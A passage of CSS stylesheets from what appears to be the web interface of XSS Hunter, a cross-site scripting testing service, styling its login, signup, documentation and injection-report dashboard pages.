16 | color: #333; 17 | text-shadow: none; /* Prevent inheritence from `body` */ 18 | background-color: #fff; 19 | border: 1px solid #fff; 20 | } 21 | 22 | 23 | /* 24 | * Base structure 25 | */ 26 | 27 | html, 28 | body { 29 | height: 100%; 30 | background-color: #333; 31 | } 32 | body { 33 | color: #fff; 34 | text-align: center; 35 | text-shadow: 0 1px 3px rgba(0,0,0,.5); 36 | } 37 | 38 | /* Extra markup and styles for table-esque vertical and horizontal centering */ 39 | .site-wrapper { 40 | display: table; 41 | width: 100%; 42 | height: 100%; /* For at least Firefox */ 43 | min-height: 100%; 44 | -webkit-box-shadow: inset 0 0 100px rgba(0,0,0,.5); 45 | box-shadow: inset 0 0 100px rgba(0,0,0,.5); 46 | } 47 | .site-wrapper-inner { 48 | display: table-cell; 49 | vertical-align: top; 50 | } 51 | .cover-container { 52 | margin-right: auto; 53 | margin-left: auto; 54 | } 55 | 56 | /* Padding for spacing */ 57 | .inner { 58 | padding: 30px; 59 | } 60 | 61 | 62 | /* 63 | * Header 64 | */ 65 | .masthead-brand { 66 | margin-top: 10px; 67 | margin-bottom: 10px; 68 | } 69 | 70 | .masthead-nav > li { 71 | display: inline-block; 72 | } 73 | .masthead-nav > li + li { 74 | margin-left: 20px; 75 | } 76 | .masthead-nav > li > a { 77 | padding-right: 0; 78 | padding-left: 0; 79 | font-size: 16px; 80 | font-weight: bold; 81 | color: #fff; /* IE8 proofing */ 82 | color: rgba(255,255,255,.75); 83 | border-bottom: 2px solid transparent; 84 | } 85 | .masthead-nav > li > a:hover, 86 | .masthead-nav > li > a:focus { 87 | background-color: transparent; 88 | border-bottom-color: #a9a9a9; 89 | border-bottom-color: rgba(255,255,255,.25); 90 | } 91 | .masthead-nav > .active > a, 92 | .masthead-nav > .active > a:hover, 93 | .masthead-nav > .active > a:focus { 94 | color: #fff; 95 | border-bottom-color: #fff; 96 | } 97 | 98 | @media (min-width: 768px) { 99 | .masthead-brand { 100 | float: left; 101 | } 102 | .masthead-nav { 103 | float: right; 104 | } 105 | } 106 | 107 | 108 | /* 109 | * Cover 110 | */ 111 | 112 | .cover { 113 | padding: 0 20px; 114 | } 115 | .cover .btn-lg { 116 | padding: 10px 20px; 117 | font-weight: bold; 118 | } 119 | 120 | 121 | /* 122 | * Footer 123 | */ 124 | 125 | .mastfoot { 126 | color: #999; /* IE8 proofing */ 127 | color: rgba(255,255,255,.5); 128 | } 129 | 130 | 131 | /* 132 | * Affix and center 133 | */ 134 | 135 | @media (min-width: 768px) { 136 | /* Pull out the header and footer */ 137 | .masthead { 138 | position: fixed; 139 | top: 0; 140 | } 141 | .mastfoot { 142 | position: fixed; 143 | bottom: 0; 144 | } 145 | /* Start the vertical centering */ 146 | .site-wrapper-inner { 147 | vertical-align: middle; 148 | } 149 | /* Handle the widths */ 150 | .masthead, 151 | .mastfoot, 152 | .cover-container { 153 | width: 100%; /* Must be percentage or pixels for horizontal alignment */ 154 | } 155 | } 156 | 157 | @media (min-width: 992px) { 158 | .masthead, 159 | .mastfoot, 160 | .cover-container { 161 | width: 700px; 162 | } 163 | } 164 | -------------------------------------------------------------------------------- /gui/static/css/docs.css: -------------------------------------------------------------------------------- 1 | .docs_title_section { 2 | font-size: 36px; 3 | } 4 | 5 | .docs_paragraph { 6 | padding-bottom: 20px; 7 | font-size: 20px; 8 | } 9 | 10 | .docs_image { 11 | max-width: 100%; 12 | margin-bottom: 20px; 13 | } 14 | -------------------------------------------------------------------------------- /gui/static/css/features.css: -------------------------------------------------------------------------------- 1 | .features_title_section { 2 | font-size: 36px; 3 | } 4 | 5 | .features_paragraph { 6 | padding-bottom: 20px; 7 | font-size: 20px; 8 | } 9 | 10 | .features_image { 11 | max-width: 100%; 12 | margin-bottom: 20px; 13 | } 14 | -------------------------------------------------------------------------------- /gui/static/css/homepage.css: -------------------------------------------------------------------------------- 1 | #homepage_jumbotron { 2 | max-width: 1200px; 3 | top: 0; 4 | bottom: 0; 5 | left: 0; 6 | right: 0; 7 | margin: auto; 8 | } 9 | 10 | #autoplay_homepage_video { 11 | width: 100%; 12 | max-height: 600px; 13 | } 14 | 15 | .jumbotron-photo { 16 | background-color: #000000; 17 | } 18 | 19 | .if_this_is_how_text { 20 | padding: 20px; 21 | } 22 | -------------------------------------------------------------------------------- /gui/static/css/main.css: -------------------------------------------------------------------------------- 1 | .menu { 2 | height: 100%; 3 | } 4 | 5 | body { 6 | background-image: url("/static/img/bg.png"); 7 | background-repeat: repeat; 8 | padding-top: 50px; 9 | } 10 | 11 | .main-content { 12 | margin-top: 40px; 13 | text-align: center; 14 | } 15 | 16 | .loading_bar { 17 | width: 100%; 18 | } 19 | 20 | .progress-bar { 21 | width: 100%; 22 | } 23 | 24 | .beta_xss_hunter_logo { 25 | color: #ff0000; 26 | } 27 | .panel-body { 28 | margin-bottom: 20px; 29 | } 30 | -------------------------------------------------------------------------------- /gui/static/css/mainapp.css: -------------------------------------------------------------------------------- 1 | .xsshunter_application { 2 | display: none; 3 | } 4 | 5 | .reset-password-form { 6 | display: none; 7 | } 8 | 9 | input, textarea { 10 | margin-top: 5px; 11 | margin-bottom: 10px; 12 | display: inline-block; 13 | *display: inline; /* for IE7*/ 14 | zoom:1; /* for IE7*/ 15 | } 16 | 17 | label { 18 | display:inline-block; 19 | *display: inline; 20 | zoom: 1; 21 | text-align: right; 22 | } 23 | 24 | #username { 25 | max-width: 300px; 26 | } 27 | 28 | #password { 29 | max-width: 300px; 30 | } 31 | 32 | .login_form { 33 | max-width: 330px; 34 | top: 0; 35 | bottom: 0; 36 | left: 0; 37 | right: 0; 38 | margin: auto; 39 | } 40 | 41 | .updated_settings_success_dialogue { 42 | display: none; 43 | text-align: center; 44 | } 45 | 46 | .bad_password_dialogue { 47 | display: none; 48 | text-align: center; 49 | } 50 | 51 | .xss_fire_thumbnail_column { 52 | max-width: 400px; 53 | } 54 | 55 | .victim_ip_address_column { 56 | max-width: 140px; 57 | } 58 | 59 | .xss_payload_fire_options_column_header { 60 | text-align: center; 61 | } 62 | 63 | .login-in-form { 64 | display: none; 65 | } 66 | 67 | .bad_account_update_dialogue { 68 | display: none; 69 | } 70 | 71 | .invalid_fields { 72 | display: inline; 73 | } 74 | 75 | .paginator_div { 76 | margin: 20px; 77 | } 78 | 79 | .full_injection_report_container { 80 | margin: 40px; 81 | background-color: #434a54; 82 | } 83 | 84 | .collected_page_full_page_view { 85 | margin: 40px; 86 | padding: 8px; 87 | background-color: #434a54; 88 | } 89 | 90 | .pagination { 91 | padding-left: 20px; 92 | } 93 | 94 | .full_report_screenshot { 95 | width: 100%; 96 | } 97 | 98 | .injection_full_report_top_panel { 99 | margin-top: 50px; 100 | } 101 | 102 | .injection_html_dom { 103 | display: inline-block; 104 | overflow: auto; 105 | float: left; 106 | max-height: 400px; 107 | white-space: pre-wrap; 108 | word-wrap: normal; 109 | } 110 | 111 | .injection_markdown_report { 112 | display: inline-block; 113 | overflow: auto; 114 | float: left; 115 | max-height: 400px; 116 | white-space: pre-wrap; 117 | word-wrap: normal; 118 | } 119 | 120 | li.L0, li.L1, li.L2, li.L3, 121 | li.L5, li.L6, li.L7, li.L8 122 | { 123 | list-style-type: decimal !important 124 | } 125 | 126 | .email_enabled_toggle { 127 | float: none !important; 128 | } 129 | 130 | .logout_button { 131 | } 132 | 133 | .collected_pages_options_button_td { 134 | width: 200px; 135 | } 136 | 137 | #injection_data_table { 138 | table-layout:fixed; 139 | width: 100%; 140 | } 141 | 142 | .vulnerable_page_uri_column { 143 | max-width: 0; 144 | overflow: hidden; 145 | text-overflow: ellipsis; 146 | white-space: nowrap; 147 | } 148 | 149 | .victim_ip_address_column { 150 | max-width: 0; 151 | overflow: hidden; 152 | text-overflow: ellipsis; 153 | white-space: nowrap; 154 | } 155 | 156 | .xss_fire_thumbnail_image { 157 | width: 100%; 158 | max-height: 400px; 159 | cursor: pointer; 160 | } 161 | 162 | .password_reset_success_dialogue { 163 | display: none; 164 | } 165 | -------------------------------------------------------------------------------- /gui/static/css/prettify.css: -------------------------------------------------------------------------------- 1 | /* Pretty printing styles. Used with prettify.js. */ 2 | 3 | /* SPAN elements with the classes below are added by prettyprint. */ 4 | .pln { color: #000 } /* plain text */ 5 | 6 | @media screen { 7 | .str { color: #080 } /* string content */ 8 | .kwd { color: #008 } /* a keyword */ 9 | .com { color: #800 } /* a comment */ 10 | .typ { color: #606 } /* a type name */ 11 | .lit { color: #066 } /* a literal value */ 12 | /* punctuation, lisp open bracket, lisp close bracket */ 13 | .pun, .opn, .clo { color: #660 } 14 | .tag { color: #008 } /* a markup tag name */ 15 | .atn { color: #606 } /* a markup attribute name */ 16 | .atv { color: #080 } /* a markup attribute value */ 17 | .dec, .var { color: #606 } /* a declaration; a variable name */ 18 | .fun { color: red } /* a function name */ 19 | } 20 | 21 | /* Use higher contrast and text-weight for printable form. */ 22 | @media print, projection { 23 | .str { color: #060 } 24 | .kwd { color: #006; font-weight: bold } 25 | .com { color: #600; font-style: italic } 26 | .typ { color: #404; font-weight: bold } 27 | .lit { color: #044 } 28 | .pun, .opn, .clo { color: #440 } 29 | .tag { color: #006; font-weight: bold } 30 | .atn { color: #404 } 31 | .atv { color: #060 } 32 | } 33 | 34 | /* Put a border around prettyprinted code snippets. */ 35 | pre.prettyprint { padding: 2px; border: 1px solid #888 } 36 | 37 | /* Specify class=linenums on a pre to get line numbering */ 38 | ol.linenums { margin-top: 0; margin-bottom: 0 } /* IE indents via margin-left */ 39 | li.L0, 40 | li.L1, 41 | li.L2, 42 | li.L3, 43 | li.L5, 44 | li.L6, 45 | li.L7, 46 | li.L8 { list-style-type: none } 47 | /* Alternate shading for lines */ 48 | li.L1, 49 | li.L3, 50 | li.L5, 51 | li.L7, 52 | li.L9 { background: #eee } 53 | -------------------------------------------------------------------------------- /gui/static/css/pricing.css: -------------------------------------------------------------------------------- 1 | .pricing_title_section { 2 | font-size: 36px; 3 | } 4 | -------------------------------------------------------------------------------- /gui/static/css/signup.css: -------------------------------------------------------------------------------- 1 | input, textarea { 2 | margin-top: 5px; 3 | margin-bottom: 10px; 4 | display: inline-block; 5 | *display: inline; /* for IE7*/ 6 | zoom:1; /* for IE7*/ 7 | } 8 | 9 | label { 10 | display:inline-block; 11 | *display: inline; /* for IE7*/ 12 | zoom: 1; /* for IE7*/ 13 | float: left; 14 | text-align: right; 15 | } 16 | 17 | #full_name { 18 | max-width: 400px; 19 | } 20 | 21 | #username { 22 | max-width: 300px; 23 | } 24 | 25 | #password { 26 | max-width: 300px; 27 | } 28 | 29 | #domain { 30 | max-width: 300px; 31 | } 32 | 33 | #email { 34 | max-width: 400px; 35 | } 36 | 37 | .sign-up-form { 38 | max-width: 400px; 39 | top: 0; 40 | bottom: 0; 41 | left: 0; 42 | right: 0; 43 | margin: auto; 44 | } 45 | 46 | .bad_signup_dialogue { 47 | display: none; 48 | } 49 | 50 | .asterisk { 51 | color: #ED0000; 52 | display: inline; 53 | } 54 | -------------------------------------------------------------------------------- /gui/static/css/site.css: -------------------------------------------------------------------------------- 1 | body { 2 | position: relative; /* For scrollyspy */ 3 | /*font-family: 'Lato', sans-serif !important;*/ 4 | font-family: 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif !important; 5 | /*font-family: "Source Sans Pro", "Helvetica Neue", Helvetica, Arial, sans-serif; */ 6 | } 7 | h1, h2, h3, h4, h5, h6, .h1, .h2, .h3, .h4, .h5, .h6 { 8 | /*font-family: 'Lato', sans-serif !important;*/ 9 | font-family: 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif !important; 10 | } 11 | /* ---------------------------------- 12 | * home 13 | * ---------------------------------- */ 14 | .home { 15 | background: url(../img/index.png) no-repeat 50% 100px; 16 | } 17 | @media (max-width: 767px) { 18 | .home { 19 | background: none; 20 | } 21 | } 22 | /* ---------------------------------- 23 | * icons 24 | * ---------------------------------- */ 25 | @font-face { 26 | font-family: "angularicons"; 27 | src: url("../angularicons/angularicons.eot"); 28 | src: url("../angularicons/angularicons.eot?#iefix") format("embedded-opentype"), url("../angularicons/angularicons.woff") format("woff"), url("../angularicons/angularicons.ttf") format("truetype"), url("../angularicons/angularicons.svg") format("svg"); 29 | } 30 | .icon { 31 | display: inline-block; 32 | font-family: "angularicons"; 33 | font-weight: normal; 34 | font-style: normal; 35 | text-decoration: none; 36 | vertical-align: top; 37 | -webkit-font-smoothing: antialiased; 38 | -moz-osx-font-smoothing: grayscale; 39 | } 40 | .icon[data-icon]:before { 41 | content: attr(data-icon); 42 | speak: none; 43 | } 44 | /* ---------------------------------- 45 | * index 46 | * ---------------------------------- */ 47 | .index { 48 | text-align: center; 49 | background-color: rgba(255, 255, 255, .9); 50 | min-height: 746px; 51 | } 52 | .index h2 { 53 | margin-top: 10px; 54 | color: rgba(0, 0, 0, .8); 55 | font-size: 16px; 56 | line-height: 26px; 57 | font-weight: normal; 58 | } 59 | .index h3 { 60 | margin-top: 20px; 61 | font-size: 14px; 62 | font-style: italic; 63 | } 64 | .index .download-link { 65 | margin: 20px 0; 66 | } 67 | .index .download-link .btn { 68 | padding: 15px 35px; 69 | border: 0; 70 | font-size: 22px; 71 | opacity: 1; 72 | } 73 | .index .version-text { 74 | color: rgba(0, 0, 0, .6); 75 | font-size: 12px; 76 | } 77 | .index .learn-more { 78 | margin-top: 20px; 79 | font-weight: bold; 80 | color: rgba(79, 190, 186, 1); 81 | } 82 | .index .learn-more a, 83 | .index .learn-more a:hover, 84 | .index .learn-more a:active { 85 | color: #50c1e9 !important; 86 | text-decoration: none; 87 | } 88 | .index .learn-more .icon { 89 | font-weight: bold; 90 | font-size: 16px; 91 | } 92 | .index .adpacks { 93 | margin: 0 auto 100px; 94 | padding: 9px 9px 18px; 95 | border-radius: 3px; 96 | border: 1px solid #3bafda; 97 | width: 380px; 98 | min-height: 132px; 99 | text-align: left !important; 100 | } 101 | .index .adpacks .adpacks-img { 102 | float: left; 103 | width: 140px; 104 | } 105 | 106 | .index .adpacks .adpacks-text, 107 | .index .adpacks .adpacks-poweredby { 108 | font-size: 13px; 109 | line-height: 16px; 110 | } 111 | .index .adpacks .adpacks-poweredby { 112 | display: block; 113 | margin-bottom:9px; 114 | } 115 | @media (max-width: 767px) { 116 | .index { 117 | min-height: 600px; 118 | } 119 | .index .download-link .btn { 120 | padding: 15px; 121 | } 122 | 123 | .index .adpacks { 124 | width: 100%; 125 | min-height: 132px; 126 | } 127 | } 128 | /* ---------------------------------- 129 | * social 130 | * ---------------------------------- */ 131 | .social { 132 | position: relative; 133 | margin-top: -100px; 134 | margin-bottom: 0; 135 | padding: 40px 5px; 136 | height: 99px; 137 | text-align: center; 138 | background: rgba(255, 255, 255, .7) url(../img/divider.png) no-repeat 50% 100%; 139 | } 140 | .social li { 141 | height: 30px; 142 | display: inline-block; 143 | vertical-align: top; 144 | } 145 | .social a { 146 | color: #50c1e9 !important; 147 | } 148 | .social .github-watch { 149 | width: 105px; 150 | } 151 | .social .github-fork { 152 | width: 105px; 153 | } 154 | .social .twitter-share { 155 | width: 80px; 156 | margin-right: 10px; 157 | } 158 | .social .twitter-follow { 159 | width: 200px; 160 | } 161 | /* ---------------------------------- 162 | * desc 163 | * ---------------------------------- */ 164 | .desc { 165 | text-align: center; 166 | background-color: rgba(255, 255, 255, 1); 167 | } 168 | .desc a { 169 | color: rgba(79, 190, 186, 1); 170 | } 171 | .desc a:hover, 172 | .desc a:active { 173 | color: #50c1e9; 174 | text-decoration: none; 175 | } 176 | .desc .desc__introduces { 177 | border-top: 1px dashed #AAB2BD ; 178 | } 179 | .desc .desc__introduces:first-child { 180 | border-top: none; 181 | } 182 | .desc .desc__introduces h3, 183 | .desc .desc__introduces p { 184 | margin: 0 auto; 185 | } 186 | .desc .desc__introduces h3 { 187 | padding: 70px 0 14px; 188 | max-width: 900px; 189 | font-size: 28px; 190 | } 191 | .desc .desc__introduces p { 192 | padding-bottom: 40px; 193 | max-width: 900px; 194 | font-size: 18px; 195 | color: #888; 196 | } 197 | .desc .desc__introduces .photo--responsive img { 198 | width: 100%; 199 | } 200 | .desc .desc__features { 201 | margin: 70px auto; 202 | text-align: left; 203 | } 204 | .desc .desc__features .row { 205 | margin-bottom: 70px; 206 | } 207 | .desc .desc__features .col-md-6 { 208 | padding-left: 247px; 209 | min-height: 200px; 210 | text-align: left; 211 | } 212 | .desc .desc__features .features__photo { 213 | position: absolute; 214 | top: -18px; 215 | left: 0; 216 | } 217 | .desc .desc__features h4 { 218 | font-size: 20px; 219 | margin-bottom: 10px; 220 | } 221 | .desc .desc__features p { 222 | font-size: 16px; 223 | color: #888; 224 | line-height: 26px; 225 | } 226 | @media (max-width: 767px) { 227 | .desc .desc__introduces h3 { 228 | padding-top: 20px; 229 | text-align: left; 230 | } 231 | .desc .desc__introduces p { 232 | text-align: left; 233 | } 234 | .desc .desc__features { 235 | margin-top: 20px; 236 | } 237 | .desc .desc__features .row { 238 | margin-bottom: 20px; 239 | } 240 | .desc .desc__features .row p { 241 | padding-bottom: 20px; 242 | text-align: left; 243 | } 244 | .desc .desc__features .features__photo { 245 | position: static; 246 | } 247 | .desc .desc__features .col-md-6 { 248 | padding: 0 15px; 249 | text-align: center; 250 | } 251 | } 252 | /* ---------------------------------- 253 | * docs 254 | * ---------------------------------- */ 255 | .docs-header { 256 | padding-top: 50px; 257 | border-top: 1px solid #50c1e9; 258 | background: url(../img/wild_flowers.png) repeat 0 0; 259 | } 260 | .docs-header.header--noBackground { 261 | background: none; 262 | } 263 | @media (max-width: 768px) { 264 | .docs-header { 265 | padding-top: 0; 266 | } 267 | } 268 | /* ---------------------------------- 269 | * navbar 270 | * ---------------------------------- */ 271 | .navbar-custom { 272 | position: fixed; 273 | top: 0; 274 | left: 0; 275 | border: none; 276 | border-radius: 0; 277 | background-color: rgba(255, 255, 255, .9); 278 | width: 100%; 279 | z-index: 2000; 280 | } 281 | .navbar-custom .nav li a { 282 | display: block; 283 | color: #50c1e9; 284 | } 285 | .navbar-custom .nav li a:focus, 286 | .navbar-custom .nav li a:hover { 287 | color: #50c1e9; 288 | } 289 | .navbar-custom .nav li a:active, 290 | .navbar-custom .nav li a.current { 291 | border-bottom: 3px solid #50c1e9; 292 | } 293 | .navbar-custom .navbar-toggle { 294 | position: relative; 295 | background-color: #50c1e9; 296 | border-color: #50c1e9; 297 | } 298 | .navbar-custom .navbar-toggle:hover, 299 | .navbar-custom .navbar-toggle:focus { 300 | background-color: #50c1e9; 301 | } 302 | .navbar-custom .navbar-toggle .icon-bar { 303 | background-color: rgba(255, 255, 255, .9); 304 | } 305 | .navbar-custom .navbar-brand { 306 | padding: 5px 15px; 307 | opacity: .7; 308 | filter:alpha(opacity=70); 309 | transition: opacity .4s ease-in-out; 310 | } 311 | .navbar-custom .navbar-brand:hover, 312 | .navbar-custom .navbar-brand:active { 313 | opacity: 1; 314 | filter:alpha(opacity=100); 315 | } 316 | .navbar-default .navbar-collapse { 317 | border-color: #e7e7e7; 318 | } 319 | @media (max-width: 992px) { 320 | .navbar-custom .navbar-brand { 321 | width: 63px; 322 | overflow: hidden; 323 | } 324 | } 325 | @media (max-width: 767px) { 326 | .navbar-custom { 327 | position: relative; 328 | top: 0; 329 | } 330 | .navbar-custom .navbar-nav > li > a:hover, 331 | .navbar-custom .navbar-nav > li > a:focus { 332 | color: #fff; 333 | background-color: #50c1e9; 334 | } 335 | } 336 | /* ---------------------------------- 337 | * topic 338 | * ---------------------------------- */ 339 | .topic { 340 | position: relative; 341 | padding: 50px 0 110px; 342 | } 343 | .topic h3 { 344 | margin-top: 20px; 345 | color: #fff; 346 | font-size: 28px; 347 | font-weight: normal; 348 | } 349 | .topic h4 { 350 | margin-top: 15px; 351 | color: rgba(255, 255, 255, .8); 352 | font-weight: normal; 353 | } 354 | .topic .topic__infos { 355 | position: absolute; 356 | bottom: 0; 357 | padding-bottom: 15px; 358 | padding-top: 14px; 359 | background: rgba(255, 255, 255, 0.25); 360 | width: 100%; 361 | } 362 | .topic .container { 363 | position: relative; 364 | color: rgba(255, 255, 255, .8); 365 | } 366 | .topic .container a { 367 | color: #fff; 368 | filter:alpha(opacity=100); 369 | opacity: 1; 370 | text-decoration: underline; 371 | padding: 0; 372 | font-weight: normal; 373 | } 374 | .topic .container a.btn { 375 | padding: 10px 16px; 376 | text-decoration: none; 377 | } 378 | .topic .github { 379 | position: relative; 380 | top: 10px; 381 | } 382 | /* ---------------------------------- 383 | * advertisement 384 | * ---------------------------------- */ 385 | .advertisement { 386 | padding: 5px; 387 | width: auto !important; 388 | overflow: hidden; /* clearfix */ 389 | text-align: left; 390 | border: 1px solid #a4e4ef !important; 391 | border-radius: 4px; 392 | } 393 | @media (max-width: 767px) { 394 | .advertisement { 395 | position: static; 396 | margin: 30px 0; 397 | } 398 | } 399 | @media (min-width: 768px) { 400 | .advertisement { 401 | position: absolute; 402 | top: 15px; 403 | right: 15px; /* 15px instead of 0 since box-sizing */ 404 | width: 380px !important; 405 | } 406 | } 407 | .carbon-wrap { 408 | display:block; 409 | height:100px; 410 | line-height:15px; 411 | overflow:hidden; 412 | } 413 | .carbon-img{ 414 | border:none; 415 | display:inline; 416 | float:left; 417 | height:100px; 418 | margin:4px 9px 9px 0; 419 | width:130px 420 | } 421 | .carbon-text{ 422 | display:inline; 423 | float:left; 424 | width:162px; 425 | color:#000; 426 | text-decoration:none !important; 427 | text-transform:none; 428 | font-size:11px !important 429 | } 430 | .carbon-poweredby { 431 | float: right; 432 | text-align:center; 433 | color:#999 434 | text-decoration:none !important; 435 | font-size:11px !important 436 | } 437 | /* ---------------------------------- 438 | * documents 439 | * ---------------------------------- */ 440 | .documents { 441 | margin-top: 40px; 442 | } 443 | /* ---------------------------------- 444 | * details 445 | * ---------------------------------- */ 446 | .details { 447 | position: relative; 448 | padding-right: 400px; 449 | } 450 | @media (max-width: 991px) { 451 | .details { width: 100%; } 452 | } 453 | @media (max-width: 767px) { 454 | .details { padding: 0 15px; } 455 | } 456 | /* ---------------------------------- 457 | * docs-article 458 | * ---------------------------------- */ 459 | .docs-article { 460 | margin-bottom: 40px; 461 | padding-bottom: 40px; 462 | border-bottom: 1px solid #ddd; 463 | } 464 | .docs-article:last-child { 465 | border-bottom: none; 466 | } 467 | .docs-article h3 { 468 | margin: 0 0 10px; 469 | padding-bottom: 10px; 470 | font-family: "Georgia", "Palatino", "Times New Roman", "Times" !important; 471 | font-weight: normal; 472 | font-size: 25px; 473 | color: #50c1e9; 474 | } 475 | .docs-article p { 476 | margin-bottom: 10px; 477 | font-size: 14px; 478 | line-height: 22px; 479 | } 480 | .docs-article dd { 481 | margin-bottom: 10px; 482 | } 483 | .docs-article a { 484 | color: #50c1e9; 485 | text-decoration: underline; 486 | } 487 | .docs-article a:hover { 488 | color: #50c1e9; 489 | } 490 | .docs-article .item__infos { 491 | margin: 0 0 10px 0; 492 | font-size: 14px; 493 | list-style: disc; 494 | } 495 | .docs-article .item__infos li { 496 | margin-bottom: 10px; 497 | } 498 | .docs-article .btn-primary, 499 | .docs-article .btn-primary:hover { 500 | color: #fff; 501 | text-decoration: none; 502 | } 503 | .docs-article pre { 504 | border: none; 505 | background-color: #f7f7f7; 506 | } 507 | /* ---------------------------------- 508 | * example 509 | * ---------------------------------- */ 510 | .example { 511 | margin-bottom: 20px; 512 | } 513 | .example .example-title { 514 | margin-bottom: 20px; 515 | font-weight: 700; 516 | font-size: 18px; 517 | text-shadow: 2px 2px 2px rgba(255, 255, 255, 1); 518 | } 519 | .example .example-title span { 520 | font-weight: normal; 521 | font-size: 14px; 522 | color: #ED5565; 523 | } 524 | .example [class*="col-"] { 525 | margin-bottom: 10px; 526 | } 527 | .example-dropdown h2 + .dropdown-menu, 528 | .example-popover .popover, 529 | .example-modal .modal { 530 | position: static; 531 | display: block; 532 | } 533 | .example-dropdown h2 + .dropdown-menu { 534 | float: none; 535 | width: 200px; 536 | } 537 | .example-popover .popover { 538 | position: relative; 539 | } 540 | @media (max-width: 960px) { 541 | .tooltip-demo [class*="col-"] { 542 | text-align: center; 543 | } 544 | .tooltip-demo [class*="col-"] .btn-block { 545 | display: inline-block; 546 | margin: 0 auto; 547 | width: 160px; 548 | } 549 | } 550 | .example-popover [class*="col-"]:nth-of-type(1) .popover { 551 | margin-top: 0; 552 | } 553 | .example-popover [class*="col-"]:nth-of-type(3) .popover, 554 | .example-popover [class*="col-"]:nth-of-type(4) .popover { 555 | margin-top: 40px; 556 | } 557 | .example-progress [class*="col-"]:last-child .progress { 558 | margin-bottom: 10px; 559 | } 560 | .example-pagination .pagination, 561 | .example-pagination .pager { 562 | margin: 0 !important; 563 | } 564 | 565 | .example-modal .modal { 566 | overflow: hidden; 567 | } 568 | @media (min-width: 768px) { 569 | .example-modal .modal-dialog { 570 | width: 545px; 571 | margin: 5px; 572 | } 573 | } 574 | .example-typography { 575 | position: relative; 576 | padding-left: 25%; 577 | margin-bottom: 40px; 578 | } 579 | .example-typography .heading-note, 580 | .example-typography .text-note { 581 | display: block; 582 | width: 260px; 583 | position: absolute; 584 | bottom: 2px; 585 | left: 0; 586 | font-size: 13px; 587 | line-height: 13px; 588 | color: #AAB2BD; 589 | font-weight: 400; 590 | } 591 | .example-typography .text-note { 592 | bottom: auto; 593 | top: 10px; 594 | } 595 | /* ---------------------------------- 596 | * color-swatches 597 | * ---------------------------------- */ 598 | .color-swatches .swatches { 599 | -webkit-border-radius: 4px; 600 | -moz-border-radius: 4px; 601 | border-radius: 4px; 602 | background-color: #FFF; 603 | width: 100%; 604 | box-shadow: 0 1px 2px rgba(0, 0, 0, .2); 605 | } 606 | .color-swatches .light, 607 | .color-swatches .dark { 608 | width: 50%; 609 | height: 50px; 610 | } 611 | .color-swatches .light { 612 | -webkit-border-radius: 4px 0 0 0; 613 | -moz-border-radius: 4px 0 0 0; 614 | border-radius: 4px 0 0 0; 615 | } 616 | .color-swatches .dark { 617 | -webkit-border-radius: 0 4px 0 0; 618 | -moz-border-radius: 0 4px 0 0; 619 | border-radius: 0 4px 0 0; 620 | } 621 | .color-swatches .infos { 622 | padding: 5px 10px; 623 | } 624 | .color-swatches .infos h4, 625 | .color-swatches .infos p { 626 | margin: 0; 627 | } 628 | .color-swatches .infos h4 { 629 | margin-bottom: 3px; 630 | font-weight: bold; 631 | font-size: 14px; 632 | } 633 | .color-swatches .infos p { 634 | font-size: 12px; 635 | } 636 | /* ---------------------------------- 637 | * psd-download 638 | * ---------------------------------- */ 639 | .psd-download { 640 | padding: 40px 0; 641 | background: #e6e9ed url(../img/github.png) no-repeat 100% 0; 642 | min-height: 680px; 643 | } 644 | .psd-download h2 { 645 | text-align: center; 646 | } 647 | .psd-download .infos { 648 | font-size: 20px; 649 | line-height: 40px; 650 | } 651 | .psd-download .row { 652 | margin-top: 20px; 653 | } 654 | @media (max-width: 768px) { 655 | .psd-download [class*="col-md-"] { 656 | text-align: center; 657 | } 658 | } 659 | .psd-download h4 { 660 | margin: 0 0 15px 0; 661 | } 662 | .psd-download img { 663 | margin-bottom: 15px; 664 | } 665 | /* ---------------------------------- 666 | * previews 667 | * ---------------------------------- */ 668 | .previews { 669 | text-align: center; 670 | } 671 | .previews p { 672 | margin-bottom: 20px; 673 | font-size: 20px; 674 | line-height: 40px; 675 | } 676 | .previews img { 677 | max-width: 100%; 678 | } 679 | /* ---------------------------------- 680 | * color picker 681 | * ---------------------------------- */ 682 | .color-picker-nav a { 683 | text-decoration: none !important; 684 | color: #0b859c !important; 685 | margin: 0 10px; 686 | } 687 | .color-picker-nav a:hover { 688 | text-decoration: underline !important; 689 | } 690 | .color-picker-nav a.current { 691 | font-weight: bold; 692 | } 693 | .color-wrap { 694 | position: relative; 695 | clear: both; 696 | left: 0; 697 | width: 100%; 698 | z-index: 500; 699 | } 700 | .color-picker { 701 | width: 20%; 702 | padding-bottom: 18%; 703 | color: #FFF; 704 | position: relative; 705 | float: left; 706 | top: 0; 707 | bottom: 0; 708 | } 709 | .color-item { 710 | position: absolute; 711 | margin: 0; 712 | left: 0; 713 | right: 0; 714 | top: 0; 715 | bottom: 0; 716 | text-align: center; 717 | text-transform: uppercase; 718 | padding: 35%; 719 | } 720 | .color-item:hover { 721 | display: inline; 722 | z-index: 999; 723 | overflow: hidden; 724 | cursor: pointer; 725 | -webkit-transform: scale(1); 726 | -moz-transform: scale(1); 727 | -o-transform: scale(1); 728 | transform: scale(1); 729 | -webkit-box-shadow: 5px 5px 5px 5px rgba(0, 0, 0, 0.2); 730 | -moz-box-shadow: 5px 5px 5px 5px rgba(0, 0, 0, 0.2); 731 | box-shadow: 5px 5px 5px 5px rgba(0, 0, 0, 0.2); 732 | } 733 | /* Tablet Portrait size to standard 960 (devices and browsers) */ 734 | @media only screen and (min-width: 768px) and (max-width: 959px) 735 | { 736 | .color-picker{ 737 | width: 50%; 738 | color: #FFF; 739 | } 740 | .color-item{ 741 | padding: 8%; 742 | font-size: 0.875em; 743 | } 744 | .color-name,.hex-number { 745 | position: relative; 746 | line-height: 22px; 747 | text-align: center; 748 | } 749 | } 750 | 751 | /* All Mobile Sizes (devices and browser) */ 752 | @media only screen and (max-width: 767px) 753 | { 754 | .color-picker { 755 | width: 50%; 756 | color: #FFF; 757 | } 758 | .color-item{ 759 | padding: 8%; 760 | font-size: 0.750em; 761 | } 762 | .color-name,.hex-number { 763 | position: relative; 764 | line-height: 22px; 765 | text-align: center; 766 | } 767 | } 768 | 769 | /* Mobile Landscape Size to Tablet Portrait (devices and browsers) */ 770 | @media only screen and (min-width: 480px) and (max-width: 767px) 771 | { 772 | .color-item{ 773 | padding: 5%; 774 | font-size: 0.750em; 775 | } 776 | .color-picker{ 777 | width: 100%; 778 | color: #FFF; 779 | } 780 | .color-name,.hex-number { 781 | 